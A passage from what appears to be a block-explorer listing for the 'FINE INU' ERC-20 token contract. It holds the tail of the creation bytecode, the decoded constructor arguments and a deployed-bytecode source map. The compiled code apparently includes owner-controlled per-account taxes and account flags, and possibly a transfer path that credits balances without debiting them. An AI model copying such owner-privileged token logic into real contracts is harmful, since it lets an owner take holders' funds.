ffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611a4991906124b3565b604051611a569190612380565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f05342d6ea8345cfc0f563ad2fd98f2be2a36348b3c6635421c72e607830d7ac560405160405180910390a35050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bcf5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b60008183611be59190612459565b905092915050565b60008183611bfb9190612428565b905092915050565b60008183611c1191906124b3565b905092915050565b60008183611c2791906123d2565b905092915050565b600081359050611c3e8161263f565b92915050565b600081359050611c5381612656565b92915050565b600081359050611c688161266d565b92915050565b600060208284031215611c8057600080fd5b6000611c8e84828501611c2f565b91505092915050565b60008060408385031215611caa57600080fd5b6000611cb885828601611c2f565b9250506020611cc985828601611c2f565b9150509250929050565b600080600060608486031215611ce857600080fd5b6000611cf686828701611c2f565b9350506020611d0786828701611c2f565b9250506040611d1886828701611c59565b9150509250925092565b60008060408385031215611d3557600080fd5b6000611d4385828601611c2f565b9250506020611d5485828601611c44565b9150509250929050565b60008060408385031215611d7157600080fd5b6000611d7f85828601611c2f565b9250506020611d9085828601611c59565b9150509250929050565b600060208284031215611dac57600080fd5b6000611dba84828501611c59565b91505092915050565b611dcc816124e7565b82525050565b611ddb816124f9565b82525050565b6000611dec826123b6565b611df681856123c1565b9350611e0681856020860161253c565b611e0f8161262e565b840191505092915050565b6000611e276023836123c1565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611e8d602e836123c1565b91507f4163636f756e7420746178206d7573742062652067726561746572207468616e60008301527f206f7220657175616c20746f20310000000000000000000000000000000000006020830152604082019050919050565b6000611ef36022836123c1565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611f59601d836123c1565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b6000611f996026836123c1565b91507f45524332303a207472616e7366657220416d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611fff6026836123c1565b91507f4f776e61626c653a206e6577206f776e617220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006120656025836123c1565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006120cb6020836123c1565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e61726000830152602082019050919050565b600061210b6024836123c1565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006121716025836123c1565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6121d381612525565b82525050565b6121e28161252f565b82525050565b60006020820190506121fd6000830184611dc3565b92915050565b60006020820190506122186000830184611dd2565b92915050565b600060208201905081810360008301526122388184611de1565b905092915050565b6000602082019050818103600083015261225981611e1a565b9050919050565b6000602082019050818103600083015261227981611e80565b9050919050565b6000602082019050818103600083015261229981611ee6565b9050919050565b600060208201905081810360008301526122b981611f4c565b9050919050565b600060208201905081810360008301526122d981611f8c565b9050919050565b600060208201905081810360008301526122f981611ff2565b9050919050565b6000602082019050818103600083015261231981612058565b9050919050565b60006020820190508181036000830152612339816120be565b9050919050565b60006020820190508181036000830152612359816120fe565b9050919050565b6000602082019050818103600083015261237981612164565b9050919050565b600060208201905061239560008301846121ca565b92915050565b60006020820190506123b060008301846121d9565b92915050565b600081519050919050565b600082825260208201905092915050565b60006123dd82612525565b91506123e883612525565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561241d5761241c6125a1565b5b828201905092915050565b600061243382612525565b915061243e83612525565b92508261244e5761244d6125d0565b5b828204905092915050565b600061246482612525565b915061246f83612525565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124a8576124a76125a1565b5b828202905092915050565b60006124be82612525565b91506124c983612525565b9250828210156124dc576124db6125a1565b5b828203905092915050565b60006124f282612505565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561255a57808201518184015260208101905061253f565b83811115612569576000848401525b50505050565b6000600282049050600182168061258757607f821691505b6020821081141561259b5761259a6125ff565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b612648816124e7565b811461265357600080fd5b50565b61265f816124f9565b811461266a57600080fd5b50565b61267681612525565b811461268157600080fd5b5056fea26469706673582212204db646f002c6dd1ff758d186a1c8189318d40d3decba48c0ae4939451caccded64736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000061f313f880000000000000000000000000000000000000000000000000000000000000000846494e4520494e55000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000446494e5500000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): FINE INU
Arg [1] : symbol_ (string): FINU
Arg [2] : totalSupply_ (uint256): 420690000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000000000000000000000000000000000061f313f880
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 46494e4520494e55000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 46494e5500000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

22666:5627:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16143:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17860:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17236:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28002:288;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25117:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17087:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18461:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24295:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25806:128;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25326:203;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;24986:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25675:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22822:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1691:235;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;25537:128;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16353:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19208:438;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27693:299;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;753:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1413:120;;;:::i;:::-;;25225:93;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17398:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16143:91;16188:13;16221:5;16214:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16143:91;:::o;17860:192::-;17934:4;17951:13;17967:12;:10;:12::i;:::-;17951:28;;17990:32;17999:5;18006:7;18015:6;17990:8;:32::i;:::-;18040:4;18033:11;;;17860:192;;;;:::o;17236:99::-;17288:7;17315:12;;17308:19;;17236:99;:::o;28002:288::-;28124:4;28141:15;28159:12;:10;:12::i;:::-;28141:30;;28184:38;28200:4;28206:7;28215:6;28184:15;:38::i;:::-;28233:27;28243:4;28249:2;28253:6;28233:9;:27::i;:::-;28278:4;28271:11;;;28002:288;;;;;:::o;25117:98::-;990:12;:10;:12::i;:::-;980:22;;:6;;;;;;;;;;;:22;;;972:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;25199:8:::1;25183:13;;:24;;;;;;;;;;;;;;;;;;25117:98:::0;:::o;17087:84::-;17136:5;17161:2;17154:9;;17087:84;:::o;18461:240::-;18549:4;18566:13;18582:12;:10;:12::i;:::-;18566:28;;18605:66;18614:5;18621:7;18660:10;18630:11;:18;18642:5;18630:18;;;;;;;;;;;;;;;:27;18649:7;18630:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;18605:8;:66::i;:::-;18689:4;18682:11;;;18461:240;;;;:::o;24295:28::-;;;;;;;;;;;;;:::o;25806:128::-;25883:4;990:12;:10;:12::i;:::-;980:22;;:6;;;;;;;;;;;:22;;;972:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;25907:9:::1;:19;25917:8;25907:19;;;;;;;;;;;;;;;;;;;;;;;;;25900:26;;25806:128:::0;;;:::o;25326:203::-;990:12;:10;:12::i;:::-;980:22;;:6;;;;;;;;;;;:22;;;972:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;25429:1:::1;25420:6;:10;25412:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;25515:6;25492:10;:20;25503:8;25492:20;;;;;;;;;;;;;;;:29;;;;25326:203:::0;;:::o;24986:121::-;25057:4;990:12;:10;:12::i;:::-;980:22;;:6;;;;;;;;;;;:22;;;972:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;25081:8:::1;:18;25090:8;25081:18;;;;;;;;;;;;;;;;;;;;;;;;;25074:25;;24986:121:::0;;;:::o;25675:123::-;990:12;:10;:12::i;:::-;980:22;;:6;;;;;;;;;;;:22;;;972:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;25784:6:::1;25762:9;:19;25772:8;25762:19;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;25675:123:::0;;:::o;22822:118::-;22887:7;22914:9;:18;22924:7;22914:18;;;;;;;;;;;;;;;;22907:25;;22822:118;;;:::o;1691:235::-;990:12;:10;:12::i;:::-;980:22;;:6;;;;;;;;;;;:22;;;972:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1817:1:::1;1797:22;;:8;:22;;;;1789:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1873:45;1909:8;1873:35;:45::i;:::-;1691:235:::0;:::o;25537:128::-;25610:7;990:12;:10;:12::i;:::-;980:22;;:6;;;;;;;;;;;:22;;;972:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;25637:10:::1;:20;25648:8;25637:20;;;;;;;;;;;;;;;;25630:27;;25537:128:::0;;;:::o;16353:95::-;16400:13;16433:7;16426:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16353:95;:::o;19208:438::-;19301:4;19318:13;19334:12;:10;:12::i;:::-;19318:28;;19357:24;19384:11;:18;19396:5;19384:18;;;;;;;;;;;;;;;:27;19403:7;19384:27;;;;;;;;;;;;;;;;19357:54;;19450:15;19430:16;:35;;19422:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;19543:60;19552:5;19559:7;19587:15;19568:16;:34;19543:8;:60::i;:::-;19634:4;19627:11;;;;19208:438;;;;:::o;27693:299::-;27763:4;27780:13;27796:12;:10;:12::i;:::-;27780:28;;27842:4;27823:23;;:8;:15;27832:5;27823:15;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;27819:105;;;27880:6;27863:9;:13;27873:2;27863:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;27908:4;27901:11;;;;;27819:105;27934:28;27944:5;27951:2;27955:6;27934:9;:28::i;:::-;27980:4;27973:11;;;27693:299;;;;;:::o;753:91::-;799:7;753:91;:::o;1413:120::-;990:12;:10;:12::i;:::-;980:22;;:6;;;;;;;;;;;:22;;;972:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1478:47:::1;1522:1;1478:35;:47::i;:::-;1413:120::o:0;25225:93::-;990:12;:10;:12::i;:::-;980:22;;:6;;;;;;;;;;;:22;;;972:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;25304:6:::1;25284:17;:26;;;;25225:93:::0;:::o;17398:142::-;17478:7;17505:11;:18;17517:5;17505:18;;;;;;;;;;;;;;;:27;17524:7;17505:27;;;;;;;;;;;;;;;;17498:34;;17398:142;;;;:::o;94:98::-;147:7;174:10;167:17;;94:98;:::o;20084:380::-;20237:1;20220:19;;:5;:19;;;;20212:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20318:1;20299:21;;:7;:21;;;;20291:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;20402:6;20372:11;:18;20384:5;20372:18;;;;;;;;;;;;;;;:27;20391:7;20372:27;;;;;;;;;;;;;;;:36;;;;20440:7;20424:32;;20433:5;20424:32;;;20449:6;20424:32;;;;;;:::i;:::-;;;;;;;;20084:380;;;:::o;20750:453::-;20885:24;20912:25;20922:5;20929:7;20912:9;:25::i;:::-;20885:52;;20972:17;20952:16;:37;20948:248;;21034:6;21014:16;:26;;21006:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;21118:51;21127:5;21134:7;21162:6;21143:16;:25;21118:8;:51::i;:::-;20948:248;20750:453;;;;:::o;26094:1591::-;26243:1;26227:18;;:4;:18;;;;26219:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;26321:1;26306:17;;:3;:17;;;;26298:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;26376:19;26398:9;:15;26408:4;26398:15;;;;;;;;;;;;;;;;26376:37;;26447:7;26432:11;:22;;26424:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;26510:7;26520:4;26510:14;;26541:28;26559:4;26565:3;26541:17;:28::i;:::-;26537:71;;;26591:5;26586:10;;26537:71;26618:24;26663:2;26659:530;;;26682:18;26748:1;26723:27;;:13;;;;;;;;;;;:27;;;26719:287;;26782:13;;;;;;;;;;;26775:20;;:3;:20;;;26771:101;;;26835:17;;26822:30;;26771:101;26902:13;;;;;;;;;;;26894:21;;:4;:21;;;26890:101;;;26955:16;;26942:29;;26890:101;26719:287;27043:1;27024:10;:16;27035:4;27024:16;;;;;;;;;;;;;;;;:20;27020:90;;;27078:10;:16;27089:4;27078:16;;;;;;;;;;;;;;;;27065:29;;27020:90;27145:32;27173:3;27145:23;27157:10;27145:7;:11;;:23;;;;:::i;:::-;:27;;:32;;;;:::i;:::-;27126:51;;26659:530;;27226:1;27207:16;:20;27203:260;;;27262:37;27282:16;27262:9;:15;27272:4;27262:15;;;;;;;;;;;;;;;;:19;;:37;;;;:::i;:::-;27244:9;:15;27254:4;27244:15;;;;;;;;;;;;;;;:55;;;;27340:45;27368:16;27340:9;:23;24931:42;27340:23;;;;;;;;;;;;;;;;:27;;:45;;;;:::i;:::-;27314:9;:23;24931:42;27314:23;;;;;;;;;;;;;;;:71;;;;24931:42;27405:46;;27414:4;27405:46;;;27434:16;27405:46;;;;;;:::i;:::-;;;;;;;;27203:260;27493:47;27523:16;27513:7;:26;;;;:::i;:::-;27493:9;:15;27503:4;27493:15;;;;;;;;;;;;;;;;:19;;:47;;;;:::i;:::-;27475:9;:15;27485:4;27475:15;;;;;;;;;;;;;;;:65;;;;27568:46;27597:16;27587:7;:26;;;;:::i;:::-;27568:9;:14;27578:3;27568:14;;;;;;;;;;;;;;;;:18;;:46;;;;:::i;:::-;27551:9;:14;27561:3;27551:14;;;;;;;;;;;;;;;:63;;;;27645:3;27630:47;;27639:4;27630:47;;;27660:16;27650:7;:26;;;;:::i;:::-;27630:47;;;;;;:::i;:::-;;;;;;;;26094:1591;;;;;;:::o;2089:208::-;2180:16;2199:6;;;;;;;;;;;2180:25;;2225:8;2216:6;;:17;;;;;;;;;;;;;;;;;;2280:8;2249:40;;2270:8;2249:40;;;;;;;;;;;;2089:208;;:::o;25942:142::-;26019:4;26043:9;:15;26053:4;26043:15;;;;;;;;;;;;;;;;;;;;;;;;;:33;;;;26062:9;:14;26072:3;26062:14;;;;;;;;;;;;;;;;;;;;;;;;;26043:33;26036:40;;25942:142;;;;:::o;5885:98::-;5943:7;5974:1;5970;:5;;;;:::i;:::-;5963:12;;5885:98;;;;:::o;6284:::-;6342:7;6373:1;6369;:5;;;;:::i;:::-;6362:12;;6284:98;;;;:::o;5528:::-;5586:7;5617:1;5613;:5;;;;:::i;:::-;5606:12;;5528:98;;;;:::o;5147:::-;5205:7;5236:1;5232;:5;;;;:::i;:::-;5225:12;;5147:98;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:133::-;;233:6;220:20;211:29;;249:30;273:5;249:30;:::i;:::-;201:84;;;;:::o;291:139::-;;375:6;362:20;353:29;;391:33;418:5;391:33;:::i;:::-;343:87;;;;:::o;436:262::-;;544:2;532:9;523:7;519:23;515:32;512:2;;;560:1;557;550:12;512:2;603:1;628:53;673:7;664:6;653:9;649:22;628:53;:::i;:::-;618:63;;574:117;502:196;;;;:::o;704:407::-;;;829:2;817:9;808:7;804:23;800:32;797:2;;;845:1;842;835:12;797:2;888:1;913:53;958:7;949:6;938:9;934:22;913:53;:::i;:::-;903:63;;859:117;1015:2;1041:53;1086:7;1077:6;1066:9;1062:22;1041:53;:::i;:::-;1031:63;;986:118;787:324;;;;;:::o;1117:552::-;;;;1259:2;1247:9;1238:7;1234:23;1230:32;1227:2;;;1275:1;1272;1265:12;1227:2;1318:1;1343:53;1388:7;1379:6;1368:9;1364:22;1343:53;:::i;:::-;1333:63;;1289:117;1445:2;1471:53;1516:7;1507:6;1496:9;1492:22;1471:53;:::i;:::-;1461:63;;1416:118;1573:2;1599:53;1644:7;1635:6;1624:9;1620:22;1599:53;:::i;:::-;1589:63;;1544:118;1217:452;;;;;:::o;1675:401::-;;;1797:2;1785:9;1776:7;1772:23;1768:32;1765:2;;;1813:1;1810;1803:12;1765:2;1856:1;1881:53;1926:7;1917:6;1906:9;1902:22;1881:53;:::i;:::-;1871:63;;1827:117;1983:2;2009:50;2051:7;2042:6;2031:9;2027:22;2009:50;:::i;:::-;1999:60;;1954:115;1755:321;;;;;:::o;2082:407::-;;;2207:2;2195:9;2186:7;2182:23;2178:32;2175:2;;;2223:1;2220;2213:12;2175:2;2266:1;2291:53;2336:7;2327:6;2316:9;2312:22;2291:53;:::i;:::-;2281:63;;2237:117;2393:2;2419:53;2464:7;2455:6;2444:9;2440:22;2419:53;:::i;:::-;2409:63;;2364:118;2165:324;;;;;:::o;2495:262::-;;2603:2;2591:9;2582:7;2578:23;2574:32;2571:2;;;2619:1;2616;2609:12;2571:2;2662:1;2687:53;2732:7;2723:6;2712:9;2708:22;2687:53;:::i;:::-;2677:63;;2633:117;2561:196;;;;:::o;2763:118::-;2850:24;2868:5;2850:24;:::i;:::-;2845:3;2838:37;2828:53;;:::o;2887:109::-;2968:21;2983:5;2968:21;:::i;:::-;2963:3;2956:34;2946:50;;:::o;3002:364::-;;3118:39;3151:5;3118:39;:::i;:::-;3173:71;3237:6;3232:3;3173:71;:::i;:::-;3166:78;;3253:52;3298:6;3293:3;3286:4;3279:5;3275:16;3253:52;:::i;:::-;3330:29;3352:6;3330:29;:::i;:::-;3325:3;3321:39;3314:46;;3094:272;;;;;:::o;3372:367::-;;3535:67;3599:2;3594:3;3535:67;:::i;:::-;3528:74;;3632:34;3628:1;3623:3;3619:11;3612:55;3698:5;3693:2;3688:3;3684:12;3677:27;3730:2;3725:3;3721:12;3714:19;;3518:221;;;:::o;3745:378::-;;3908:67;3972:2;3967:3;3908:67;:::i;:::-;3901:74;;4005:34;4001:1;3996:3;3992:11;3985:55;4071:16;4066:2;4061:3;4057:12;4050:38;4114:2;4109:3;4105:12;4098:19;;3891:232;;;:::o;4129:366::-;;4292:67;4356:2;4351:3;4292:67;:::i;:::-;4285:74;;4389:34;4385:1;4380:3;4376:11;4369:55;4455:4;4450:2;4445:3;4441:12;4434:26;4486:2;4481:3;4477:12;4470:19;;4275:220;;;:::o;4501:327::-;;4664:67;4728:2;4723:3;4664:67;:::i;:::-;4657:74;;4761:31;4757:1;4752:3;4748:11;4741:52;4819:2;4814:3;4810:12;4803:19;;4647:181;;;:::o;4834:370::-;;4997:67;5061:2;5056:3;4997:67;:::i;:::-;4990:74;;5094:34;5090:1;5085:3;5081:11;5074:55;5160:8;5155:2;5150:3;5146:12;5139:30;5195:2;5190:3;5186:12;5179:19;;4980:224;;;:::o;5210:370::-;;5373:67;5437:2;5432:3;5373:67;:::i;:::-;5366:74;;5470:34;5466:1;5461:3;5457:11;5450:55;5536:8;5531:2;5526:3;5522:12;5515:30;5571:2;5566:3;5562:12;5555:19;;5356:224;;;:::o;5586:369::-;;5749:67;5813:2;5808:3;5749:67;:::i;:::-;5742:74;;5846:34;5842:1;5837:3;5833:11;5826:55;5912:7;5907:2;5902:3;5898:12;5891:29;5946:2;5941:3;5937:12;5930:19;;5732:223;;;:::o;5961:330::-;;6124:67;6188:2;6183:3;6124:67;:::i;:::-;6117:74;;6221:34;6217:1;6212:3;6208:11;6201:55;6282:2;6277:3;6273:12;6266:19;;6107:184;;;:::o;6297:368::-;;6460:67;6524:2;6519:3;6460:67;:::i;:::-;6453:74;;6557:34;6553:1;6548:3;6544:11;6537:55;6623:6;6618:2;6613:3;6609:12;6602:28;6656:2;6651:3;6647:12;6640:19;;6443:222;;;:::o;6671:369::-;;6834:67;6898:2;6893:3;6834:67;:::i;:::-;6827:74;;6931:34;6927:1;6922:3;6918:11;6911:55;6997:7;6992:2;6987:3;6983:12;6976:29;7031:2;7026:3;7022:12;7015:19;;6817:223;;;:::o;7046:118::-;7133:24;7151:5;7133:24;:::i;:::-;7128:3;7121:37;7111:53;;:::o;7170:112::-;7253:22;7269:5;7253:22;:::i;:::-;7248:3;7241:35;7231:51;;:::o;7288:222::-;;7419:2;7408:9;7404:18;7396:26;;7432:71;7500:1;7489:9;7485:17;7476:6;7432:71;:::i;:::-;7386:124;;;;:::o;7516:210::-;;7641:2;7630:9;7626:18;7618:26;;7654:65;7716:1;7705:9;7701:17;7692:6;7654:65;:::i;:::-;7608:118;;;;:::o;7732:313::-;;7883:2;7872:9;7868:18;7860:26;;7932:9;7926:4;7922:20;7918:1;7907:9;7903:17;7896:47;7960:78;8033:4;8024:6;7960:78;:::i;:::-;7952:86;;7850:195;;;;:::o;8051:419::-;;8255:2;8244:9;8240:18;8232:26;;8304:9;8298:4;8294:20;8290:1;8279:9;8275:17;8268:47;8332:131;8458:4;8332:131;:::i;:::-;8324:139;;8222:248;;;:::o;8476:419::-;;8680:2;8669:9;8665:18;8657:26;;8729:9;8723:4;8719:20;8715:1;8704:9;8700:17;8693:47;8757:131;8883:4;8757:131;:::i;:::-;8749:139;;8647:248;;;:::o;8901:419::-;;9105:2;9094:9;9090:18;9082:26;;9154:9;9148:4;9144:20;9140:1;9129:9;9125:17;9118:47;9182:131;9308:4;9182:131;:::i;:::-;9174:139;;9072:248;;;:::o;9326:419::-;;9530:2;9519:9;9515:18;9507:26;;9579:9;9573:4;9569:20;9565:1;9554:9;9550:17;9543:47;9607:131;9733:4;9607:131;:::i;:::-;9599:139;;9497:248;;;:::o;9751:419::-;;9955:2;9944:9;9940:18;9932:26;;10004:9;9998:4;9994:20;9990:1;9979:9;9975:17;9968:47;10032:131;10158:4;10032:131;:::i;:::-;10024:139;;9922:248;;;:::o;10176:419::-;;10380:2;10369:9;10365:18;10357:26;;10429:9;10423:4;10419:20;10415:1;10404:9;10400:17;10393:47;10457:131;10583:4;10457:131;:::i;:::-;10449:139;;10347:248;;;:::o;10601:419::-;;10805:2;10794:9;10790:18;10782:26;;10854:9;10848:4;10844:20;10840:1;10829:9;10825:17;10818:47;10882:131;11008:4;10882:131;:::i;:::-;10874:139;;10772:248;;;:::o;11026:419::-;;11230:2;11219:9;11215:18;11207:26;;11279:9;11273:4;11269:20;11265:1;11254:9;11250:17;11243:47;11307:131;11433:4;11307:131;:::i;:::-;11299:139;;11197:248;;;:::o;11451:419::-;;11655:2;11644:9;11640:18;11632:26;;11704:9;11698:4;11694:20;11690:1;11679:9;11675:17;11668:47;11732:131;11858:4;11732:131;:::i;:::-;11724:139;;11622:248;;;:::o;11876:419::-;;12080:2;12069:9;12065:18;12057:26;;12129:9;12123:4;12119:20;12115:1;12104:9;12100:17;12093:47;12157:131;12283:4;12157:131;:::i;:::-;12149:139;;12047:248;;;:::o;12301:222::-;;12432:2;12421:9;12417:18;12409:26;;12445:71;12513:1;12502:9;12498:17;12489:6;12445:71;:::i;:::-;12399:124;;;;:::o;12529:214::-;;12656:2;12645:9;12641:18;12633:26;;12669:67;12733:1;12722:9;12718:17;12709:6;12669:67;:::i;:::-;12623:120;;;;:::o;12749:99::-;;12835:5;12829:12;12819:22;;12808:40;;;:::o;12854:169::-;;12972:6;12967:3;12960:19;13012:4;13007:3;13003:14;12988:29;;12950:73;;;;:::o;13029:305::-;;13088:20;13106:1;13088:20;:::i;:::-;13083:25;;13122:20;13140:1;13122:20;:::i;:::-;13117:25;;13276:1;13208:66;13204:74;13201:1;13198:81;13195:2;;;13282:18;;:::i;:::-;13195:2;13326:1;13323;13319:9;13312:16;;13073:261;;;;:::o;13340:185::-;;13397:20;13415:1;13397:20;:::i;:::-;13392:25;;13431:20;13449:1;13431:20;:::i;:::-;13426:25;;13470:1;13460:2;;13475:18;;:::i;:::-;13460:2;13517:1;13514;13510:9;13505:14;;13382:143;;;;:::o;13531:348::-;;13594:20;13612:1;13594:20;:::i;:::-;13589:25;;13628:20;13646:1;13628:20;:::i;:::-;13623:25;;13816:1;13748:66;13744:74;13741:1;13738:81;13733:1;13726:9;13719:17;13715:105;13712:2;;;13823:18;;:::i;:::-;13712:2;13871:1;13868;13864:9;13853:20;;13579:300;;;;:::o;13885:191::-;;13945:20;13963:1;13945:20;:::i;:::-;13940:25;;13979:20;13997:1;13979:20;:::i;:::-;13974:25;;14018:1;14015;14012:8;14009:2;;;14023:18;;:::i;:::-;14009:2;14068:1;14065;14061:9;14053:17;;13930:146;;;;:::o;14082:96::-;;14148:24;14166:5;14148:24;:::i;:::-;14137:35;;14127:51;;;:::o;14184:90::-;;14261:5;14254:13;14247:21;14236:32;;14226:48;;;:::o;14280:126::-;;14357:42;14350:5;14346:54;14335:65;;14325:81;;;:::o;14412:77::-;;14478:5;14467:16;;14457:32;;;:::o;14495:86::-;;14570:4;14563:5;14559:16;14548:27;;14538:43;;;:::o;14587:307::-;14655:1;14665:113;14679:6;14676:1;14673:13;14665:113;;;14764:1;14759:3;14755:11;14749:18;14745:1;14740:3;14736:11;14729:39;14701:2;14698:1;14694:10;14689:15;;14665:113;;;14796:6;14793:1;14790:13;14787:2;;;14876:1;14867:6;14862:3;14858:16;14851:27;14787:2;14636:258;;;;:::o;14900:320::-;;14981:1;14975:4;14971:12;14961:22;;15028:1;15022:4;15018:12;15049:18;15039:2;;15105:4;15097:6;15093:17;15083:27;;15039:2;15167;15159:6;15156:14;15136:18;15133:38;15130:2;;;15186:18;;:::i;:::-;15130:2;14951:269;;;;:::o;15226:180::-;15274:77;15271:1;15264:88;15371:4;15368:1;15361:15;15395:4;15392:1;15385:15;15412:180;15460:77;15457:1;15450:88;15557:4;15554:1;15547:15;15581:4;15578:1;15571:15;15598:180;15646:77;15643:1;15636:88;15743:4;15740:1;15733:15;15767:4;15764:1;15757:15;15784:102;;15876:2;15872:7;15867:2;15860:5;15856:14;15852:28;15842:38;;15832:54;;;:::o;15892:122::-;15965:24;15983:5;15965:24;:::i;:::-;15958:5;15955:35;15945:2;;16004:1;16001;15994:12;15945:2;15935:79;:::o;16020:116::-;16090:21;16105:5;16090:21;:::i;:::-;16083:5;16080:32;16070:2;;16126:1;16123;16116:12;16070:2;16060:76;:::o;16142:122::-